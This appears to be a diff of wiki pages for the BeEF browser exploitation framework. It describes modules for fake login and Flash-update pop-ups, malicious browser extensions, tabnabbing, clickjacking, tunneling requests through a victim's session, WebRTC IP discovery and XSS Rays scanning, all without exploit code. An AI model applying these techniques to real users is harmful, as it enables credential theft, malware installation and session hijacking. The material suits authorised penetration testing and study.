Simple attacks are often the most efficient ones. BeEF comes with several command modules that present the target with familiar interfaces requesting credentials:
* [[The Pretty Theft|Module:-Pretty-Theft]] module prints a simple message to the user requiring login and password, explaining that the session has timed out. It has a number of presets that imitate popular social network/marketplace themes.
* [[The Simple Hijacker|Module:-Simple-Hijacker]] module allows you to load a number of common pop-ups when a user clicks any link on their current page. Pop-up templates include certificate warnings, standard alert style prompts, and credit card payment forms.
* [[Clippy|Module:-Clippy]] is a module that create a small browser assistant which propose browser updates.
##### A Pretty Theft Pop-up Template:
<p align=center>
[[Images/module-prettytheft1.png|align=center]]
</p>
# Redirect to Another Page
## Redirect to Another Page
You may also use BeEF modules to redirect to external pages :
A number BeEF modules exist that allow you to redirect to external pages:
* By using the basic [[Redirect Browser|Module:-Redirect-Browser]] module, you can redirect the hooked page to any other page. Note that it may be weird for the user to be redirected and that you will lose the zombie. To avoid losing the zombie from BeEF, you can also use the [[Redirect Browser module with iframe|Module:-Redirect-Browser-(iFrame)]] which will open a 100% iFrame to the given url.
* You can also use the great [[TabNabbing module|Module:-TabNabbing]] : this module will detect when the user loses focus on the current tab and modify the whole page to load the given URL in an iFrame at this time. When the user comes back to the tab, they will directly see the new web page.
* The [[Redirect Browser|Module:-Redirect-Browser]] module can redirect the hooked page to any other page.
* Please note that a spontaneous redirect without any action from the user may cause them to immediately close the zombie.
* To avoid losing the zombie from BeEF, the [[Redirect Browser (iFrame)|Module:-Redirect-Browser-(iFrame)]] sub-module will create a full viewport iFrame which redirects to the specified URL.
* The [[TabNabbing|Module:-TabNabbing]] module will detect when the user loses focus on the current tab and modify it in the background. When the user comes back to the tab, they will be viewing a full viewport iFrame containing the contents of the specified URL.
# Chrome/Firefox Extensions
## Chrome/Firefox Extensions
By requiring the user to install [[a fake flash update|Module:-Fake-Flash-Update]], it is possible to install a malicious Firefox/Chrome extension. Once installed this extension can communicate directly with BeEF and have access to much more information than code in the hooked browser.
Using BeEF it is possible to get a user to install a malicious browser extension:
* The [[Fake Flash Update|Module:-Fake-Flash-Update]] module prompts the hooked browser's user to install a flash update. Instead of installing a Flash update, a browser extension will be installed that can communicate with BeEF and provide access to far more information than is available by default.
* If the extension were installed in Chrome, for example, BeEF could run the following modules:
* [[Get All Cookies|Module:-Get-All-Cookies]]
* [[List Chrome Extensions|Module:-Get-Chrome-Extensions]]
* [[Grab Google Contacts from Logged in User|Module:-Grab-Google-Contacts]]
* [[Inject BeEF in All Tabs|Module:-Inject-BeEF]]
* [[Execute Arbitrary Javascript Code|Module:-Execute-On-Tab]]
* [[Taking Screenshots|Module:-Screenshot]]
* [[Send Gvoice SMS|Module:-Send-Gvoice-SMS]]
##### Fake Flash Update Pop-up:
<p align=center>
[[Images/module-fake-flash-update2.png|align=center]]
</p>
By using Chrome extensions module, it is possible to use the malicious extension to :
* [[Get all cookies|Module:-Get-All-Cookies]]
* [[List chrome extensions|Module:-Get-Chrome-Extensions]]
* [[Grab Google contacts|Module:-Grab-Google-Contacts]] of the logged in Google account
* [[Inject BeEF|Module:-Inject-BeEF]] in all tabs
* [[Execute javascript code in a new tab|Module:-Execute-On-Tab]]
* [[Take screenshot|Module:-Screenshot]]
* [[Send Gvoice SMS|Module:-Send-Gvoice-SMS]]
## Clickjacking
# Other
BeEF contains a module that enables clickjacking attacks in a hooked browser:
* There is also a nice [[ClickJacking|Module:-Clickjacking]] module which allow a custom clickjacking attack by giving the URL and offset on the target page :
[[Images/module-clickjacking1.png|align=center]]
* The [[Clickjacking|Module:-Clickjacking]] module will create an iFrame which follows the users cursor around the page, displaying the content at the specified URL.
***
[[Previous|Information-Gathering]] | [[Next|Network-discovery]]
[[Information Gathering|Information-Gathering]] | [[Network Discovery|Network-discovery]]
Tunneling.md
+27 -16
@@ -1,12 +1,23 @@
_Tunneling Proxy will process requests via a selected browser session._
## Introduction
The Tunneling Proxy (TP) effectively mimics a reverse HTTP proxy. A selected browser session becomes the tunnel and its [[hooked browser|https://github.com/beefproject/beef/wiki/Hooked-Browser]] the exit point.
Tunneling Proxy (TP) effectively mimics a reverse HTTP proxy. It will process requests via a selected browser session. This session becomes the tunnel and its [[hooked browser|https://github.com/beefproject/beef/wiki/Hooked-Browser]] the exit point.
#### Table of Contents
* [Details](#details)
* [Communication Flow](#communication-flow)
* [Real Scenarios](#real-scenarios)
* [How To Use The Proxy Extension](#how-to-use-the-proxy-extension)
## Details
A browser (or generally any software that supports an HTTP proxy) with its proxy configured to use the framework will send all its requests via the TP. The TP will create a set of instructions based on the received request details. These instructions will induce a browser to conduct an equivalent request. Next the instructions will be wrapped and sent to the selected browser session for execution on the [[hooked browser|https://github.com/beefproject/beef/wiki/Hooked-Browser]]. The browser becomes the exit node for the tunnel. It will perform the request and receive the HTTP response. Next the response is communicated back to the BeEF proxy which in turn delivers it to the browser. This process creates a tunnel with one being the TP and the other being the selected [[hooked browser|https://github.com/beefproject/beef/wiki/Hooked-Browser]].
A browser (or generally any software that supports a HTTP proxy) with its proxy configured to use BeEF will send all requests via the TP.
The TP will create a set of instructions based on the received request details. These instructions will induce an equivalent request in whichever browser executes them.
The instructions will be wrapped and sent to the selected browser session for execution on the [[hooked browser|https://github.com/beefproject/beef/wiki/Hooked-Browser]]. The browser becomes the exit node for the tunnel. It will perform the request and receive the HTTP response.
The HTTP response is then communicated back to the BeEF proxy which delivers it to the browser. This process creates a tunnel with one being the TP and the other being the selected [[hooked browser|https://github.com/beefproject/beef/wiki/Hooked-Browser]].
The requests are not cross-origin: this means that if the current origin of the [[hooked browser|https://github.com/beefproject/beef/wiki/Hooked-Browser]] is `http://example.com:80`, the browser using the proxy can send requests only to `http://example.com:80`.
@@ -20,34 +31,34 @@ Browser -> ([[TP|https://github.com/beefproject/beef/wiki/Tunneling-Proxy/]]-[[C
## Real Scenarios
Tunneling proxy real use cases are many:
- browsing the authenticated surface of the hooked origin through the security context of the victim browser (cookies are automatically added to XmlHttpRequests with jQuery)
There are numerous real world use cases for the BeEF TP:
* Browsing the authenticated surface of the hooked origin through the security context of the victim browser (cookies are automatically added to XmlHttpRequests with jQuery)
* Spidering the hooked origin through the security context of the victim browser
* Finding and exploiting SQLi with [[Burp Pro Scanner|http://portswigger.net/suite/pro.html]] and [[sqlmap|http://sqlmap.sourceforge.net/]].
- spidering the hooked origin through the security context of the victim browser
- finding and exploiting SQLi with [[Burp Pro Scanner|http://portswigger.net/suite/pro.html]] and [[sqlmap|http://sqlmap.sourceforge.net/]].
A practical usage of the tunneling proxy, recorded as a screencast, can be found [[here|http://www.youtube.com/user/TheBeefproject#p/a/u/1/Z4cHyC3lowk]] on the official BeEF Youtube channel.
A practical use of the TP, recorded as a screencast, can be found [[here|http://www.youtube.com/user/TheBeefproject#p/a/u/1/Z4cHyC3lowk]] on the official BeEF Youtube channel.
## How to Use the Proxy Extension
*1.* Select which [[hooked browser|https://github.com/beefproject/beef/wiki/Hooked-Browser]] you want to use to tunnel requests (right click on the HB icon, then left click on "Use As Proxy")
1. Select which [[hooked browser|https://github.com/beefproject/beef/wiki/Hooked-Browser]] you want to use to tunnel requests. Right click on the hooked browser icon, then left click on "Use As Proxy".
[[Images/tunnel1.png|align=center]]
*2.* Configure another browser to use the BeEF tunneling proxy as HTTP proxy. By default the address of the proxy is 127.0.0.1:6789
2. Configure another browser to use the TP as a HTTP proxy.
<p align=center>
[[Images/tunnel2.png|align=center]]
</p>
*3.* In this case we had Opera (on the right of the screenshot) as [[hooked browser|https://github.com/beefproject/beef/wiki/Hooked-Browser]] and Firefox (on the left of the screenshot) as the browser using the tunneling proxy. You can see that in Firefox we're browsing the same origin of the Opera hooked browser in a concurrent way (without stealing any cookies).
3. In this case we had Opera (on the right of the screenshot) as the [[hooked browser|https://github.com/beefproject/beef/wiki/Hooked-Browser]] and Firefox (on the left of the screenshot) as the browser using the TP. You can see that in Firefox we're simultaneously browsing the same origin of the Opera hooked browser (without stealing any cookies).
[[Images/tunnel3.png|align=center]]
*4.* Every request sent through the Tunneling Proxy is using the Requester extension to send new XHRs to the [[hooked browser|https://github.com/beefproject/beef/wiki/Hooked-Browser]]. All the raw request/response pairs are stored in the BeEF database and can be analyzed in detail via the Requester->History tab.
4. Every request sent through the TP is using the Requester extension to send new XHRs to the [[hooked browser|https://github.com/beefproject/beef/wiki/Hooked-Browser]]. All of the raw request/response pairs are stored in the BeEF database and can be analyzed in detail via the Requester -> History tab.
[[Images/tunnel4.png|align=center]]
***
[[Previous|Metasploit]] | [[Next|Xss-Rays]]
[[Metasploit|Metasploit]] | [[XSS Rays|Xss-Rays]]
WebRTC-Extension.md
+19 -7
@@ -1,5 +1,8 @@
## Introduction
WebRTC stands for Web Realtime Communications and allows for peer-to-peer communications between two web browsers. The code for the WebRTC Extension can be found [here.](https://github.com/beefproject/beef/tree/master/extensions/webrtc)
By default, BeEF uses XMLHttpRequest objects to poll to your BeEF server every 5 seconds. The logic is in the `updater.js` file of the core BeEF JavaScript client. It executes a `setTimeout()` function call that executes `beef.updater.get_commands()`, requesting the `hook.js` file from the BeEF server.
BeEF has options to use the WebSocket protocol as well, which shifts the comms from a polling mechanism to a more bi-directional streaming method of sending and receiving data between the server and browsers.
@@ -8,20 +11,27 @@ The problem with both the hook polling and WebSocket communication is exposure o
[[Images/beef-hooks.png|align=center]]
## Enabling the webrtc extension
## Configuration
By default, the webrtc extension is disabled. To enable it, simply edit `<beef_root>/extensions/webrtc/config.yaml` and set enable to `true`
to enable it, simply change enable to `true`
snippet of the file:
```yaml
```bash
beef:
extension:
webrtc:
name: 'WebRTC'
enable: true #enable the extension
enable: false
authors: ["xntrik"]
stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302","turn:numb.viagenie.ca:3478"]'
# stunservers: '["stun:stun.l.google.com:19302"]'
turnservers: '{"username": "someone%40somewhere.com", "password": "somepass", "uris": ["turn:numb.viagenie.ca:3478?transport=udp","turn:numb.viagenie.ca:3478?transport=tcp"]}'
```
## console usage
## Utilization
WebRTC can be used to retrieve the internal (behind NAT) IP address of the victim machine, using the peer-to-peer connection framework. This command can be found under the Host module folder.
### console usage
When this extension is written, the console module is still usable and supported. Unfortunately, it is no longer usable.
@@ -157,4 +167,6 @@ For further information about the extension, read example RestAPI usage in
`<beef_root>/extensions/webrtc/rest/webrtc.rb`
[[Previous|Module-creation]] | [[Next|Development-Organization]]
***
[[Module Creation|Module-creation]] | [[Development Organization|Development-Organization]]
XSS-Rays.md
+55
@@ -0,0 +1,55 @@
## Introduction
XSS Rays is a pure Javascript Cross-Site Scripting ([XSS](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS))) scanner, originally [developed by Gareth Heyes](http://www.thespanner.co.uk/2009/03/25/xss-ray) in 2009.
XSS Rays parses all the links and forms of the page where it has been loaded and checks for XSS on the GET, POST parameters, and the URI path by creating hidden iFrames.
#### Table of Contents
* [Details](#details)
* [High Level Overview](#high-level-overview)
* [How to Use Xssrays Extension](#how-to-use-the-xssrays-extension)
## Details
The original code by Heyes used the location.hash fragment in order to effectively create a callback between parent and child iFrames. This trick has been patched by recent browsers.
BeEF utilises a new approach to this technique which results in false-positive free findings. They are false-positive free because BeEF must exploit the XSS in order to discover the vulnerability.
## High Level Overview
In order to check for XSS cross-origin, we inject an XSS payload that will contact the BeEF server if the Javascript code is successfully executed, thereby confirming XSS. In order to check for XSS on cross-origin resources, the approach is completely blind (because we cannot read the HTTP response, respecting the Same Origin Policy).
The approach BeEF is using is not free of false-negatives. We can try different attack vectors but the framework cannot determine which characters are allowed or if there are any length limitations in place. This issue can only be minimised by adding more attack vectors that covers a larger variety of scenarios.
#### BeEF XSS Rays Integration:
[[Images/xssrays1.png|align=center]]
## How to Use the XSS Rays Extension
1. Select which [hooked browser](https://github.com/beefproject/beef/wiki/Hooked-Browser) to inject the XSS Rays Javascript code into. By default XSS Rays will check for XSS on cross-origin resources. Note that the hooked browser origin is currently http://172.31.229.247/
![xssrays-how-to-use](http://antisnatchor.com/BeEF-images/XSSRAYS-select.png)
* Alternatively if you want to start your own custom XSS Rays scan, you can first configure the extension settings and then click on `Scan`. Here you can configure the default timeout for the iFrame's removal, and select whether cross-origin resources should be checked as well.
[[Images/xssrays3.png|align=center]]
2. When a XSS vulnerability is found, you will see a notification in the BeEF logs. Opening the `XssRays -> Logs` tab will show you more details about the discovered XSS.
[[Images/xssrays4.png|align=center]]
3. If you have direct access to the application, you can test the XSS Rays finding using the PoC provided in the `Logs` tab shown in the previous step.
[[Images/xssrays5.png|align=center]]
### What If I Don't Have Direct Application Access?
If XSS Rays discovers an XSS vulnerability on a cross-origin resource, and you don't have access to that resource (i.e. a victim's internal network web server), you can always utilise a command module that will trigger the victim to open a link that is pointing to the vulnerable resource.
By doing this, your attack surface will be expanded, and the same victim browser will be hooked to BeEF on two different origins: the original hook, and the application hooked with the XSS found by XSS Rays.
***
[[Tunneling|Tunneling]] | [[Persistence|Persistence]]
Xss-Rays.md
-35
@@ -1,35 +0,0 @@
## Introduction
Xssrays is a pure Javascript XSS scanner. [Gareth Heyes](http://www.thespanner.co.uk/2009/03/25/xss-rays/) developed it originally in 2009. What Xssrays does is basically parse all the links and forms of the page where it has been loaded and check for XSS on GET, POST parameters, and also in the URI path creating hidden iFrames.
## Details
The original code by Heyes, from 2009, used the location.hash fragment in order to effectively have a callback between parent and child iFrames. This trick has been patched by recent browsers. BeEF uses a new approach which results in false-positive free findings. The reason they are false-positive free is that BeEF must exploit the XSS to discover the vulnerability.
## High Level Overview
In order to check for XSS cross-origin, we inject an XSS payload that will contact the BeEF server if the Javascript code is successfully executed (thus, the XSS confirmed). In order to check for XSS on cross-origin resources, the approach is completely blind (because we cannot read the HTTP response, respecting the Same Origin Policy). The approach BeEF is using is not free of false-negatives, because we can try a different attack vectors but the framework cannot determine which characters are allowed or if there are any length limitations in place. This issue can be minimised by adding more attack vectors that covers different scenarios.
[[Images/xssrays1.png|align=center]]
## How to Use the Xssrays Extension
**1.** Select which [hooked browser](https://github.com/beefproject/beef/wiki/Hooked-Browser) to use to inject the Xssrays Javascript code. By default Xssrays will check for XSS on cross-origin resources. Note that the hooked browser origin is currently http://172.31.229.247/
![xssrays-how-to-use](http://antisnatchor.com/BeEF-images/XSSRAYS-select.png)
If you want to start a custom Xssrays scan, you can first configure the extension settings and then click on Scan. Here you can configure the default timeout for iFrames removal, and if cross-origin resources should be checked as well.
[[Images/xssrays3.png|align=center]]
**2.** When an XSS vulnerability is found, you will see a notification in the BeEF logs, something like "received ray from HB". Also, opening the XssRays->Logs tab you can see the details of the XSS that has been found by XssRays.
[[Images/xssrays4.png|align=center]]
**3.** If you have direct access to the application, you can test the Xssrays finding using the PoC provided. As you can see in the image below, the XSS that has been found by Xssrays was not a false-positive.
[[Images/xssrays5.png|align=center]]
## What's Next?
If Xssrays has found an XSS on a cross-origin resource, and you don't have access to that resource (i.e. a victim's internal network web server), the user could always trigger the victim to open a link that points to the vulnerable resource using the BeEF hook in your attack vector. In this way your attack surface will be expanded, and the same victim browser will be hooked in BeEF on 2 different origin: the original one, and the new one with the XSS found by XssRays.
***
[[Previous|Tunneling]] | [[Next|Persistence]]
_Footer.md
+16 -1
@@ -1 +1,16 @@
[BeEF project](http://beefproject.com/) | [Blog](http://blog.beefproject.com/) | [Code](https://github.com/beefproject/beef)
<h3 align='center'>User Guide</h3>
<p align='center'>
<a href='https://github.com/beefproject/beef/wiki/Introducing-BeEF'>I. Introduction &nbsp;</a> |
<a href='https://github.com/beefproject/beef/wiki/Configuration'>&nbsp; II. Basic Utilization &nbsp;</a> |
<a href='https://github.com/beefproject/beef/wiki/BeEF-RESTful-API'>&nbsp; III. Advanced Utilization &nbsp;</a> |
<a href='https://github.com/beefproject/beef/wiki/ActiveRecord'>&nbsp; IV. Development &nbsp;</a> |
<a href='https://github.com/beefproject/beef/wiki/FAQ'>&nbsp; V. References</a>
</p>
<h3 align='center'>Community</h3>
<p align='center'>
<a href='http://blog.beefproject.com/'>Blog &nbsp;</a> |
<a href='https://github.com/beefproject/beef'>&nbsp; Code &nbsp;</a> |
<a href='https://www.youtube.com/channel/UCTWxIZmvyDGRzYuVVvL54ww'>&nbsp; Youtube &nbsp;</a> |
<a href='https://twitter.com/beefproject?lang=en'>&nbsp; Twitter</a>
</p>
_Sidebar.md
+9 -9
@@ -1,7 +1,7 @@
## I - Starting BeEF
1. [[Introducing BeEF|Introducing-BeEF]]
1. [[Installation On Linux and Mac OS|Installation]]
1. [[Installation on Linux and MacOS|Installation]]
## II - Basic Utilization
@@ -9,33 +9,33 @@
1. [[Interface|Interface]]
1. [[Information Gathering|Information-Gathering]]
1. [[Social Engineering|Social-Engineering]]
1. [[Network discovery|Network-discovery]]
1. [[Network Discovery|Network-Discovery]]
1. [[Metasploit|Metasploit]]
1. [[Tunneling|Tunneling]]
1. [[XSS Rays|XSS-Rays]]
1. [[Persistence|Persistence]]
1. [[Creating a Module|Module-creation]]
1. [[Geolocation|Geolocation]]
## III - Advanced Utilization
1. [[RestFul API|BeEF-RESTful-API]]
1. [[RESTful API|BeEF-RESTful-API]]
1. [[Autorun Rule Engine|Autorun-Rule-Engine]]
1. [[Notifications|Notifications]]
1. [[Console|BeEF Console]]
1. [[Creating a module|Module-creation]]
1. [[WebRTC Extension|WebRTC-Extension]]
## IV - Development
1. [ActiveRecord](https://github.com/beefproject/beef/wiki/ActiveRecord)
1. [[Organization|Development-Organization]]
1. [[Core BeEF organization|Core-BeEF-Organization]]
1. [[Core BeEF Organization|Core-BeEF-Organization]]
1. [[BeEF Javascript API|Javascript-API]]
1. [[Advanced module creation|Advanced-Module-Creation]]
1. [[Creating a new extension|Creating-An-Extension]]
1. [[Advanced Module Creation|Advanced-Module-Creation]]
1. [[Creating a New Extension|Creating-An-Extension]]
1. [[BeEF Testing|BeEF-Testing]]
1. [[Database schema|Database-Schema]]
1. [[Database Schema|Database-Schema]]
1. [[Development Milestones|Milestones]]
1. [Config.Yaml](https://github.com/beefproject/beef/wiki/Command-Module-Config)
1. [Command Module Config](https://github.com/beefproject/beef/wiki/Command-Module-Config)
1. [Command Module API](https://github.com/beefproject/beef/wiki/Command-Module-API)
## V - References